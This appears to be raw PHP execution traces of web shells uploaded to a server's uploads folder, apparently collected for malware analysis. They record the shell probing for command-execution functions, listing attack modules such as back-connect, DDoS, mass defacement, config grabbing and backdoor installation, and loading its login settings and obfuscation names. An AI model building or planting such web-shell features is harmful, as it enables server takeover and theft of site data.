5 437 0 0.067002 2802416 explode 0 /var/www/html/uploads/FileManagerFull.php 920 2 ',' 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
5 437 1 0.067026 2804888
5 437 R [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
4 A /var/www/html/uploads/FileManagerFull.php 920 $s = [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
5 438 0 0.067098 2804816 array_unique 0 /var/www/html/uploads/FileManagerFull.php 921 1 [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
5 438 1 0.067131 2806184
5 438 R [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
4 A /var/www/html/uploads/FileManagerFull.php 921 $s = [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
4 A /var/www/html/uploads/FileManagerFull.php 922 $i = 0
4 A /var/www/html/uploads/FileManagerFull.php 923 $b = 0
4 A /var/www/html/uploads/FileManagerFull.php 924 $func = [0 => 'system', 1 => 'exec', 2 => 'shell_exec', 3 => 'proc_open', 4 => 'popen', 5 => 'passthru', 6 => 'symlink', 7 => 'dl']
4 A /var/www/html/uploads/FileManagerFull.php 925 $black_list = []
4 A /var/www/html/uploads/FileManagerFull.php 926 $allow_list = []
5 439 0 0.067253 2804816 trim 0 /var/www/html/uploads/FileManagerFull.php 928 1 'pcntl_alarm'
5 439 1 0.067266 2804848
5 439 R 'pcntl_alarm'
4 A /var/www/html/uploads/FileManagerFull.php 928 $d = 'pcntl_alarm'
5 440 0 0.067292 2804816 is_callable 0 /var/www/html/uploads/FileManagerFull.php 929 1 'pcntl_alarm'
5 440 1 0.067307 2804848
5 440 R FALSE
5 441 0 0.067321 2804816 trim 0 /var/www/html/uploads/FileManagerFull.php 928 1 'pcntl_fork'
5 441 1 0.067334 2804848
5 441 R 'pcntl_fork'
4 A /var/www/html/uploads/FileManagerFull.php 928 $d = 'pcntl_fork'
5 442 0 0.067358 2804816 is_callable 0 /var/www/html/uploads/FileManagerFull.php 929 1 'pcntl_fork'
5 442 1 0.067373 2804848
5 442 R FALSE
5 443 0 0.067386 2804816 trim 0 /var/www/html/uploads/FileManagerFull.php 928 1 'pcntl_waitpid'
5 443 1 0.067399 2804848
5 443 R 'pcntl_waitpid'
4 A /var/www/html/uploads/FileManagerFull.php 928 $d = 'pcntl_waitpid'
5 444 0 0.067423 2804816 is_callable 0 /var/www/html/uploads/FileManagerFull.php 929 1 'pcntl_waitpid'
5 444 1 0.067436 2804848
5 444 R FALSE
5 445 0 0.067449 2804816 trim 0 /var/www/html/uploads/FileManagerFull.php 928 1 'pcntl_wait'
5 445 1 0.067468 2804848
5 445 R 'pcntl_wait'
4 A /var/www/html/uploads/FileManagerFull.php 928 $d = 'pcntl_wait'
5 446 0 0.067492 2804816 is_callable 0 /var/www/html/uploads/FileManagerFull.php 929 1 'pcntl_wait'
5 446 1 0.067505 2804848
5 446 R FALSE
5 447 0 0.067518 2804816 trim 0 /var/www/html/uploads/FileManagerFull.php 928 1 'pcntl_wifexited'
5 447 1 0.067531 2804848
5 447 R 'pcntl_wifexited'
4 A /var/www/html/uploads/FileManagerFull.php 928 $d = 'pcntl_wifexited'
5 448 0 0.067556 2804816 is_callable 0 /var/www/html/uploads/FileManagerFull.php 929 1 'pcntl_wifexited'
5 448 1 0.067569 2804848
5 448 R FALSE
5 449 0 0.067582 2804816 trim 0 /var/www/html/uploads/FileManagerFull.php 928 1 'pcntl_wifstopped'
5 449 1 0.067595 2804848
5 449 R 'pcntl_wifstopped'
4 A /var/www/html/uploads/FileManagerFull.php 928 $d = 'pcntl_wifstopped'
5 450 0 0.067619 2804816 is_callable 0 /var/www/html/uploads/FileManagerFull.php 929 1 'pcntl_wifstopped'
5 450 1 0.067633 2804848
5 450 R FALSE
5 451 0 0.067650 2804816 trim 0 /var/www/html/uploads/FileManagerFull.php 928 1 'pcntl_wifsignaled'
5 451 1 0.067663 2804848
5 451 R 'pcntl_wifsignaled'
4 A /var/www/html/uploads/FileManagerFull.php 928 $d = 'pcntl_wifsignaled'
5 452 0 0.067688 2804816 is_callable 0 /var/www/html/uploads/FileManagerFull.php 929 1 'pcntl_wifsignaled'
5 452 1 0.067701 2804848
5 452 R FALSE
5 453 0 0.067714 2804816 trim 0 /var/www/html/uploads/FileManagerFull.php 928 1 'pcntl_wifcontinued'
5 453 1 0.067726 2804848
5 453 R 'pcntl_wifcontinued'
4 A /var/www/html/uploads/FileManagerFull.php 928 $d = 'pcntl_wifcontinued'
5 454 0 0.067751 2804816 is_callable 0 /var/www/html/uploads/FileManagerFull.php 929 1 'pcntl_wifcontinued'
5 454 1 0.067764 2804848
5 454 R FALSE
5 455 0 0.067777 2804816 trim 0 /var/www/html/uploads/FileManagerFull.php 928 1 'pcntl_wexitstatus'
5 455 1 0.067789 2804848
5 455 R 'pcntl_wexitstatus'
4 A /var/www/html/uploads/FileManagerFull.php 928 $d = 'pcntl_wexitstatus'
5 456 0 0.067813 2804816 is_callable 0 /var/www/html/uploads/FileManagerFull.php 929 1 'pcntl_wexitstatus'
5 456 1 0.067827 2804848
5 456 R FALSE
5 457 0 0.067840 2804816 trim 0 /var/www/html/uploads/FileManagerFull.php 928 1 'pcntl_wtermsig'
5 457 1 0.067852 2804848
5 457 R 'pcntl_wtermsig'
4 A /var/www/html/uploads/FileManagerFull.php 928 $d = 'pcntl_wtermsig'
5 458 0 0.067876 2804816 is_callable 0 /var/www/html/uploads/FileManagerFull.php 929 1 'pcntl_wtermsig'
5 458 1 0.067891 2804848
5 458 R FALSE
5 459 0 0.067904 2804816 trim 0 /var/www/html/uploads/FileManagerFull.php 928 1 'pcntl_wstopsig'
5 459 1 0.067954 2804848
5 459 R 'pcntl_wstopsig'
4 A /var/www/html/uploads/FileManagerFull.php 928 $d = 'pcntl_wstopsig'
5 460 0 0.067980 2804816 is_callable 0 /var/www/html/uploads/FileManagerFull.php 929 1 'pcntl_wstopsig'
5 460 1 0.067994 2804848
5 460 R FALSE
5 461 0 0.068006 2804816 trim 0 /var/www/html/uploads/FileManagerFull.php 928 1 'pcntl_signal'
5 461 1 0.068019 2804848
5 461 R 'pcntl_signal'
4 A /var/www/html/uploads/FileManagerFull.php 928 $d = 'pcntl_signal'
5 462 0 0.068042 2804816 is_callable 0 /var/www/html/uploads/FileManagerFull.php 929 1 'pcntl_signal'
5 462 1 0.068056 2804848
5 462 R FALSE
5 463 0 0.068068 2804816 trim 0 /var/www/html/uploads/FileManagerFull.php 928 1 'pcntl_signal_get_handler'
5 463 1 0.068081 2804848
5 463 R 'pcntl_signal_get_handler'
4 A /var/www/html/uploads/FileManagerFull.php 928 $d = 'pcntl_signal_get_handler'
5 464 0 0.068106 2804816 is_callable 0 /var/www/html/uploads/FileManagerFull.php 929 1 'pcntl_signal_get_handler'
5 464 1 0.068119 2804848
5 464 R FALSE
5 465 0 0.068132 2804816 trim 0 /var/www/html/uploads/FileManagerFull.php 928 1 'pcntl_signal_dispatch'
5 465 1 0.068144 2804848
5 465 R 'pcntl_signal_dispatch'
4 A /var/www/html/uploads/FileManagerFull.php 928 $d = 'pcntl_signal_dispatch'
5 466 0 0.068168 2804816 is_callable 0 /var/www/html/uploads/FileManagerFull.php 929 1 'pcntl_signal_dispatch'
5 466 1 0.068182 2804848
5 466 R FALSE
5 467 0 0.068194 2804816 trim 0 /var/www/html/uploads/FileManagerFull.php 928 1 'pcntl_get_last_error'
5 467 1 0.068207 2804848
5 467 R 'pcntl_get_last_error'
4 A /var/www/html/uploads/FileManagerFull.php 928 $d = 'pcntl_get_last_error'
5 468 0 0.068231 2804816 is_callable 0 /var/www/html/uploads/FileManagerFull.php 929 1 'pcntl_get_last_error'
5 468 1 0.068244 2804848
5 468 R FALSE
5 469 0 0.068257 2804816 trim 0 /var/www/html/uploads/FileManagerFull.php 928 1 'pcntl_strerror'
5 469 1 0.068269 2804848
5 469 R 'pcntl_strerror'
4 A /var/www/html/uploads/FileManagerFull.php 928 $d = 'pcntl_strerror'
5 470 0 0.068293 2804816 is_callable 0 /var/www/html/uploads/FileManagerFull.php 929 1 'pcntl_strerror'
5 470 1 0.068307 2804848
5 470 R FALSE
5 471 0 0.068323 2804816 trim 0 /var/www/html/uploads/FileManagerFull.php 928 1 'pcntl_sigprocmask'
5 471 1 0.068336 2804848
5 471 R 'pcntl_sigprocmask'
4 A /var/www/html/uploads/FileManagerFull.php 928 $d = 'pcntl_sigprocmask'
5 472 0 0.068360 2804816 is_callable 0 /var/www/html/uploads/FileManagerFull.php 929 1 'pcntl_sigprocmask'
5 472 1 0.068374 2804848
5 472 R FALSE
5 473 0 0.068386 2804816 trim 0 /var/www/html/uploads/FileManagerFull.php 928 1 'pcntl_sigwaitinfo'
5 473 1 0.068399 2804848
5 473 R 'pcntl_sigwaitinfo'
4 A /var/www/html/uploads/FileManagerFull.php 928 $d = 'pcntl_sigwaitinfo'
5 474 0 0.068423 2804816 is_callable 0 /var/www/html/uploads/FileManagerFull.php 929 1 'pcntl_sigwaitinfo'
5 474 1 0.068437 2804848
5 474 R FALSE
5 475 0 0.068449 2804816 trim 0 /var/www/html/uploads/FileManagerFull.php 928 1 'pcntl_sigtimedwait'
5 475 1 0.068462 2804848
5 475 R 'pcntl_sigtimedwait'
4 A /var/www/html/uploads/FileManagerFull.php 928 $d = 'pcntl_sigtimedwait'
5 476 0 0.068486 2804816 is_callable 0 /var/www/html/uploads/FileManagerFull.php 929 1 'pcntl_sigtimedwait'
5 476 1 0.068499 2804848
5 476 R FALSE
5 477 0 0.068511 2804816 trim 0 /var/www/html/uploads/FileManagerFull.php 928 1 'pcntl_exec'
5 477 1 0.068524 2804848
5 477 R 'pcntl_exec'
4 A /var/www/html/uploads/FileManagerFull.php 928 $d = 'pcntl_exec'
5 478 0 0.068547 2804816 is_callable 0 /var/www/html/uploads/FileManagerFull.php 929 1 'pcntl_exec'
5 478 1 0.068561 2804848
5 478 R FALSE
5 479 0 0.068573 2804816 trim 0 /var/www/html/uploads/FileManagerFull.php 928 1 'pcntl_getpriority'
5 479 1 0.068586 2804848
5 479 R 'pcntl_getpriority'
4 A /var/www/html/uploads/FileManagerFull.php 928 $d = 'pcntl_getpriority'
5 480 0 0.068610 2804816 is_callable 0 /var/www/html/uploads/FileManagerFull.php 929 1 'pcntl_getpriority'
5 480 1 0.068624 2804848
5 480 R FALSE
5 481 0 0.068636 2804816 trim 0 /var/www/html/uploads/FileManagerFull.php 928 1 'pcntl_setpriority'
5 481 1 0.068649 2804848
5 481 R 'pcntl_setpriority'
4 A /var/www/html/uploads/FileManagerFull.php 928 $d = 'pcntl_setpriority'
5 482 0 0.068673 2804816 is_callable 0 /var/www/html/uploads/FileManagerFull.php 929 1 'pcntl_setpriority'
5 482 1 0.068687 2804848
5 482 R FALSE
5 483 0 0.068699 2804816 trim 0 /var/www/html/uploads/FileManagerFull.php 928 1 'pcntl_async_signals'
5 483 1 0.068712 2804848
5 483 R 'pcntl_async_signals'
4 A /var/www/html/uploads/FileManagerFull.php 928 $d = 'pcntl_async_signals'
5 484 0 0.068736 2804816 is_callable 0 /var/www/html/uploads/FileManagerFull.php 929 1 'pcntl_async_signals'
5 484 1 0.068749 2804848
5 484 R FALSE
5 485 0 0.068762 2804816 trim 0 /var/www/html/uploads/FileManagerFull.php 928 1 ''
5 485 1 0.068774 2804848
5 485 R ''
4 A /var/www/html/uploads/FileManagerFull.php 928 $d = ''
4 435 1 0.068798 2801968
4 435 R '<span class="header_show_all">All Functions Accessible</span>'
4 486 0 0.068820 2803760 getenv 0 /var/www/html/uploads/FileManagerFull.php 1193 1 'SERVER_SOFTWARE'
4 486 1 0.068836 2803840
4 486 R 'Apache/2.4.52 (Ubuntu)'
3 A /var/www/html/uploads/FileManagerFull.php 1210 $li = ['proc' => 'Process', 'phpeval' => 'Eval', 'sql' => 'SQL Manager', 'dumper' => 'Database Dumper', 'coldumper' => 'Column Dumper', 'hash' => 'En-Decoder', 'connect' => 'BC', 'zoneh' => 'ZONE-H', 'dos' => 'DDOS', 'safe' => 'ByPasser', 'cgishell' => 'Cgi Shell', 'ssiShell' => 'SSI SHELL', 'cpcrack' => 'Hash Tools', 'portscanner' => 'Port Scaner', 'basedir' => 'Open BaseDir', 'mail' => 'Fake Mail', 'ziper' => 'Compressor', 'deziper' => 'DeCompressor', 'IndexChanger' => 'Index Changer', 'pwchanger' => 'Add New Admin', 'ShellInjectors' => 'Shell Injectors', 'php2xml' => 'PHP2XML', 'cloudflare' => 'CloudFlare', 'Whmcs' => 'Whmcs DeCoder', 'symlink' => 'Symlink', 'MassDefacer' => 'Mass Defacer', 'Crackers' => 'BruteForcer', 'searcher' => 'Searcher', 'config_grabber' => 'Config Grabber', 'fakepage' => 'Fake Page', 'archive_manager' => 'Archive Manager', 'cmshijacker' => 'CMS Hijacker', 'remotedl' => 'Remote Upload', 'inbackdoor' => 'Install BackDoor', 'whois' => 'Whois', 'selfrm' => 'Remove Shell']
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'proc'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'phpeval'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'sql'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'dumper'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'coldumper'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'hash'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'connect'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'zoneh'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'dos'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'safe'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'cgishell'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'ssiShell'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'cpcrack'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'portscanner'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'basedir'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'mail'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'ziper'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'deziper'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'IndexChanger'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'pwchanger'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'ShellInjectors'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'php2xml'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'cloudflare'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'Whmcs'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'symlink'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'MassDefacer'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'Crackers'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'searcher'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'config_grabber'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'fakepage'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'archive_manager'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'cmshijacker'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'remotedl'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'inbackdoor'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'whois'
3 A /var/www/html/uploads/FileManagerFull.php 1216 $key = 'selfrm'
3 61 1 0.069707 2798024
3 487 0 0.069717 2798024 AlfaNum 1 /var/www/html/uploads/FileManagerFull.php 2561 7 8 9 10 7 6 5 4
3 A /var/www/html/uploads/FileManagerFull.php 948 $args = [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
3 A /var/www/html/uploads/FileManagerFull.php 949 $alfax = []
3 A /var/www/html/uploads/FileManagerFull.php 950 $find = []
3 A /var/www/html/uploads/FileManagerFull.php 951 $i = 1
3 A /var/www/html/uploads/FileManagerFull.php 952 $alfax[] = 1
3 A /var/www/html/uploads/FileManagerFull.php 951 $i++
3 A /var/www/html/uploads/FileManagerFull.php 952 $alfax[] = 2
3 A /var/www/html/uploads/FileManagerFull.php 951 $i++
3 A /var/www/html/uploads/FileManagerFull.php 952 $alfax[] = 3
3 A /var/www/html/uploads/FileManagerFull.php 951 $i++
3 A /var/www/html/uploads/FileManagerFull.php 952 $alfax[] = 4
3 A /var/www/html/uploads/FileManagerFull.php 951 $i++
3 A /var/www/html/uploads/FileManagerFull.php 952 $alfax[] = 5
3 A /var/www/html/uploads/FileManagerFull.php 951 $i++
3 A /var/www/html/uploads/FileManagerFull.php 952 $alfax[] = 6
3 A /var/www/html/uploads/FileManagerFull.php 951 $i++
3 A /var/www/html/uploads/FileManagerFull.php 952 $alfax[] = 7
3 A /var/www/html/uploads/FileManagerFull.php 951 $i++
3 A /var/www/html/uploads/FileManagerFull.php 952 $alfax[] = 8
3 A /var/www/html/uploads/FileManagerFull.php 951 $i++
3 A /var/www/html/uploads/FileManagerFull.php 952 $alfax[] = 9
3 A /var/www/html/uploads/FileManagerFull.php 951 $i++
3 A /var/www/html/uploads/FileManagerFull.php 952 $alfax[] = 10
3 A /var/www/html/uploads/FileManagerFull.php 951 $i++
3 A /var/www/html/uploads/FileManagerFull.php 955 $find[] = 8
3 A /var/www/html/uploads/FileManagerFull.php 955 $find[] = 9
3 A /var/www/html/uploads/FileManagerFull.php 955 $find[] = 10
3 A /var/www/html/uploads/FileManagerFull.php 955 $find[] = 7
3 A /var/www/html/uploads/FileManagerFull.php 955 $find[] = 6
3 A /var/www/html/uploads/FileManagerFull.php 955 $find[] = 5
3 A /var/www/html/uploads/FileManagerFull.php 955 $find[] = 4
4 488 0 0.070017 2799472 in_array 0 /var/www/html/uploads/FileManagerFull.php 959 2 1 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 488 1 0.070035 2799544
4 488 R FALSE
4 489 0 0.070049 2799472 in_array 0 /var/www/html/uploads/FileManagerFull.php 959 2 2 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 489 1 0.070067 2799544
4 489 R FALSE
4 490 0 0.070080 2799472 in_array 0 /var/www/html/uploads/FileManagerFull.php 959 2 3 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 490 1 0.070096 2799544
4 490 R FALSE
4 491 0 0.070109 2799472 in_array 0 /var/www/html/uploads/FileManagerFull.php 959 2 4 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 491 1 0.070125 2799544
4 491 R TRUE
4 492 0 0.070138 2799472 in_array 0 /var/www/html/uploads/FileManagerFull.php 959 2 5 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 492 1 0.070153 2799544
4 492 R TRUE
4 493 0 0.070166 2799472 in_array 0 /var/www/html/uploads/FileManagerFull.php 959 2 6 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 493 1 0.070181 2799544
4 493 R TRUE
4 494 0 0.070194 2799472 in_array 0 /var/www/html/uploads/FileManagerFull.php 959 2 7 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 494 1 0.070209 2799544
4 494 R TRUE
4 495 0 0.070221 2799472 in_array 0 /var/www/html/uploads/FileManagerFull.php 959 2 8 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 495 1 0.070236 2799544
4 495 R TRUE
4 496 0 0.070248 2799472 in_array 0 /var/www/html/uploads/FileManagerFull.php 959 2 9 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 496 1 0.070263 2799544
4 496 R TRUE
4 497 0 0.070275 2799472 in_array 0 /var/www/html/uploads/FileManagerFull.php 959 2 10 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 497 1 0.070290 2799544
4 497 R TRUE
3 487 1 0.070302 2798024
3 498 0 0.070310 2798024 alfafooter 1 /var/www/html/uploads/FileManagerFull.php 2563 0
4 499 0 0.070324 2798024 htmlspecialchars 0 /var/www/html/uploads/FileManagerFull.php 2293 1 '/var/www/html/uploads/'
4 499 1 0.070339 2798216
4 499 R '/var/www/html/uploads/'
4 500 0 0.070355 2801096 date 0 /var/www/html/uploads/FileManagerFull.php 2306 1 'Y'
4 500 1 0.070389 2801384
4 500 R '2023'
3 498 1 0.072120 2814408
2 60 1 0.072132 2814408
0.072169 2626272
TRACE END [2023-02-12 19:45:10.512019]
data/traces/67eba714f23ee4b7c9caf7136cb983db_trace-1676239992.6495.xtVersion: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 20:13:38.547273]
1 0 1 0.000138 393512
1 3 0 0.011610 2765560 {main} 1 /var/www/html/uploads/alfa.php 0 0
1 A /var/www/html/uploads/alfa.php 9 GLOBALS['oZgNypoPRU'] = ['username' => 'alfa', 'password' => 'a6f452ec3293d7fb72c5b677257b20ec', 'safe_mode' => '0', 'login_page' => '403', 'show_icons' => '1', 'post_encryption' => FALSE, 'cgi_api' => TRUE]
1 A /var/www/html/uploads/alfa.php 19 $CWppUDJxuf = 'function_exists'
1 A /var/www/html/uploads/alfa.php 20 $aztJtafUXm = 'charCodeAt'
1 A /var/www/html/uploads/alfa.php 21 $OVpGNqqFZs = 'eval'
1 A /var/www/html/uploads/alfa.php 22 $psDEwGhsxg = 'gzinflate'
2 4 0 0.011724 2765560 function_exists 0 /var/www/html/uploads/alfa.php 24 1 'base64_encode'
2 4 1 0.011739 2765600
2 4 R TRUE
2 5 0 0.011754 2765560 function_exists 0 /var/www/html/uploads/alfa.php 72 1 'base64_decode'
2 5 1 0.011768 2765600
2 5 R TRUE
1 A /var/www/html/uploads/alfa.php 126 GLOBALS['DB_NAME'] = ['username' => 'alfa', 'password' => 'a6f452ec3293d7fb72c5b677257b20ec', 'safe_mode' => '0', 'login_page' => '403', 'show_icons' => '1', 'post_encryption' => FALSE, 'cgi_api' => TRUE]
1 A /var/www/html/uploads/alfa.php 128 $key = 'username'
2 6 0 0.011816 2765536 substr 0 /var/www/html/uploads/alfa.php 130 3 'username' 0 2
2 6 1 0.011830 2765664
2 6 R 'us'
1 A /var/www/html/uploads/alfa.php 130 $prefix = 'us'
1 A /var/www/html/uploads/alfa.php 133 GLOBALS['DB_NAME']['user'] = 'alfa'
1 A /var/www/html/uploads/alfa.php 134 GLOBALS['DB_NAME']['user_rand'] = 'username'
1 A /var/www/html/uploads/alfa.php 128 $key = 'password'
2 7 0 0.011891 2766264 substr 0 /var/www/html/uploads/alfa.php 130 3 'password' 0 2
2 7 1 0.011905 2766392
2 7 R 'pa'
1 A /var/www/html/uploads/alfa.php 130 $prefix = 'pa'
1 A /var/www/html/uploads/alfa.php 138 GLOBALS['DB_NAME']['pass'] = 'a6f452ec3293d7fb72c5b677257b20ec'
1 A /var/www/html/uploads/alfa.php 139 GLOBALS['DB_NAME']['pass_rand'] = 'password'
1 A /var/www/html/uploads/alfa.php 128 $key = 'safe_mode'
2 8 0 0.011965 2766264 substr 0 /var/www/html/uploads/alfa.php 130 3 'safe_mode' 0 2
2 8 1 0.011978 2766392
2 8 R 'sa'
1 A /var/www/html/uploads/alfa.php 130 $prefix = 'sa'
1 A /var/www/html/uploads/alfa.php 143 GLOBALS['DB_NAME']['safemode'] = '0'
1 A /var/www/html/uploads/alfa.php 144 GLOBALS['DB_NAME']['safemode_rand'] = 'safe_mode'
1 A /var/www/html/uploads/alfa.php 128 $key = 'login_page'
2 9 0 0.012036 2766264 substr 0 /var/www/html/uploads/alfa.php 130 3 'login_page' 0 2
2 9 1 0.012049 2766392
2 9 R 'lo'
1 A /var/www/html/uploads/alfa.php 130 $prefix = 'lo'
1 A /var/www/html/uploads/alfa.php 148 GLOBALS['DB_NAME']['login_page'] = '403'
1 A /var/www/html/uploads/alfa.php 149 GLOBALS['DB_NAME']['login_page_rand'] = 'login_page'
1 A /var/www/html/uploads/alfa.php 128 $key = 'show_icons'
2 10 0 0.012108 2766264 substr 0 /var/www/html/uploads/alfa.php 130 3 'show_icons' 0 2
2 10 1 0.012122 2766392
2 10 R 'sh'
1 A /var/www/html/uploads/alfa.php 130 $prefix = 'sh'
1 A /var/www/html/uploads/alfa.php 153 GLOBALS['DB_NAME']['show_icons'] = '1'
1 A /var/www/html/uploads/alfa.php 154 GLOBALS['DB_NAME']['show_icons_rand'] = 'show_icons'
1 A /var/www/html/uploads/alfa.php 128 $key = 'post_encryption'
2 11 0 0.012181 2766264 substr 0 /var/www/html/uploads/alfa.php 130 3 'post_encryption' 0 2
2 11 1 0.012194 2766392
2 11 R 'po'
1 A /var/www/html/uploads/alfa.php 130 $prefix = 'po'
1 A /var/www/html/uploads/alfa.php 158 GLOBALS['DB_NAME']['post_encryption'] = FALSE
1 A /var/www/html/uploads/alfa.php 159 GLOBALS['DB_NAME']['post_encryption_rand'] = 'post_encryption'
1 A /var/www/html/uploads/alfa.php 128 $key = 'cgi_api'
2 12 0 0.012254 2766264 substr 0 /var/www/html/uploads/alfa.php 130 3 'cgi_api' 0 2
2 12 1 0.012268 2766392
2 12 R 'cg'
1 A /var/www/html/uploads/alfa.php 130 $prefix = 'cg'
1 A /var/www/html/uploads/alfa.php 163 GLOBALS['DB_NAME']['cgi_api'] = TRUE
